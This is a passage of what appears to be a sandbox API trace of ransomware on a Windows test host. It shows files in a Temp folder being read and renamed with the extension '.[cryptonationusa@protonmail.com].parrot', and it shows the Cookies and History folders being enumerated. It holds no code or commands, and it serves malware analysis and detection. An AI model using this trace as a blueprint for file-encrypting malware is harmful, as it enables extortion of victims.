dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.548] ReadFile (in: hFile=0x270, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0088.549] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.549] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x18167, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x18167, lpOverlapped=0x0) returned 1 [0088.553] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.557] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\A0GQAvBm8tLC3m.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\a0gqavbm8tlc3m.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\A0GQAvBm8tLC3m.m4a.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\a0gqavbm8tlc3m.m4a.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0088.563] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.563] ReadFile (in: hFile=0x270, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0088.564] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.564] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2fc, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x2fc, lpOverlapped=0x0) returned 1 [0088.564] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.565] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\adobearm.log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\adobearm.log.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0088.568] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.568] ReadFile (in: hFile=0x270, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0088.568] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.569] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x18ef1, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x18ef1, lpOverlapped=0x0) returned 1 [0088.572] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.636] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aMPCDG8gBf2iI21L.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\ampcdg8gbf2ii21l.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aMPCDG8gBf2iI21L.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\ampcdg8gbf2ii21l.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0088.646] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.646] ReadFile (in: hFile=0x270, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0088.647] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.647] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x538, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x538, lpOverlapped=0x0) returned 1 [0088.647] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.648] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aPiPgErzBh.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\apipgerzbh.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aPiPgErzBh.mkv.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\apipgerzbh.mkv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0088.651] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.651] ReadFile (in: hFile=0x270, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0088.651] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.652] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x183ac, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x183ac, lpOverlapped=0x0) returned 1 [0088.656] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.660] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\apMY.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\apmy.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\apMY.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\apmy.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0088.667] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.667] ReadFile (in: hFile=0x270, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0088.667] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.668] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x123ff, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x123ff, lpOverlapped=0x0) returned 1 [0088.674] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.676] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\cnk75.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\cnk75.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\cnk75.wav.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\cnk75.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0088.681] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0088.682] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0088.683] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.684] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0088.684] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0088.684] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xed0fc650, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0088.684] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xed0fc650, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 0 [0088.684] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0088.684] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.684] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xed0fc650, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0088.684] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xed0fc650, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 0 [0088.684] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.684] ReadFile (in: hFile=0x270, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0088.685] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.685] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1089b, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x1089b, lpOverlapped=0x0) returned 1 [0088.688] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.690] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\cxyAzLet.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\cxyazlet.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\cxyAzLet.pptx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\cxyazlet.pptx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0088.695] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.695] ReadFile (in: hFile=0x270, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0088.696] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.696] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x13b6f, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x13b6f, lpOverlapped=0x0) returned 1 [0088.700] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.702] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\d fdsIZKeb.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\d fdsizkeb.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\d fdsIZKeb.wav.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\d fdsizkeb.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0088.707] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.707] ReadFile (in: hFile=0x270, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0088.710] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.710] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xcd54, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0xcd54, lpOverlapped=0x0) returned 1 [0088.713] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.714] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\DwUAKLEQKH.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\dwuakleqkh.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\DwUAKLEQKH.mp3.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\dwuakleqkh.mp3.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0088.719] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0088.721] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0088.721] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97fe0a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.722] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0088.722] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0088.722] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97fe0a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 1 [0088.722] lstrcmpW (lpString1="History.IE5", lpString2=".") returned 1 [0088.722] lstrcmpW (lpString1="History.IE5", lpString2="..") returned 1 [0088.722] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0088.722] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0088.722] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97fe0a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.723] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0088.723] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0088.723] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9824200, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0088.723] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xed0fc650, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0088.723] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xed0fc650, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 0 [0088.723] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0088.723] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97fe0a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.724] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9824200, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0088.724] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xed0fc650, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0088.724] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xed0fc650, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 0 [0088.724] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0088.724] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97fe0a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.724] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97fe0a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 1 [0088.724] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: 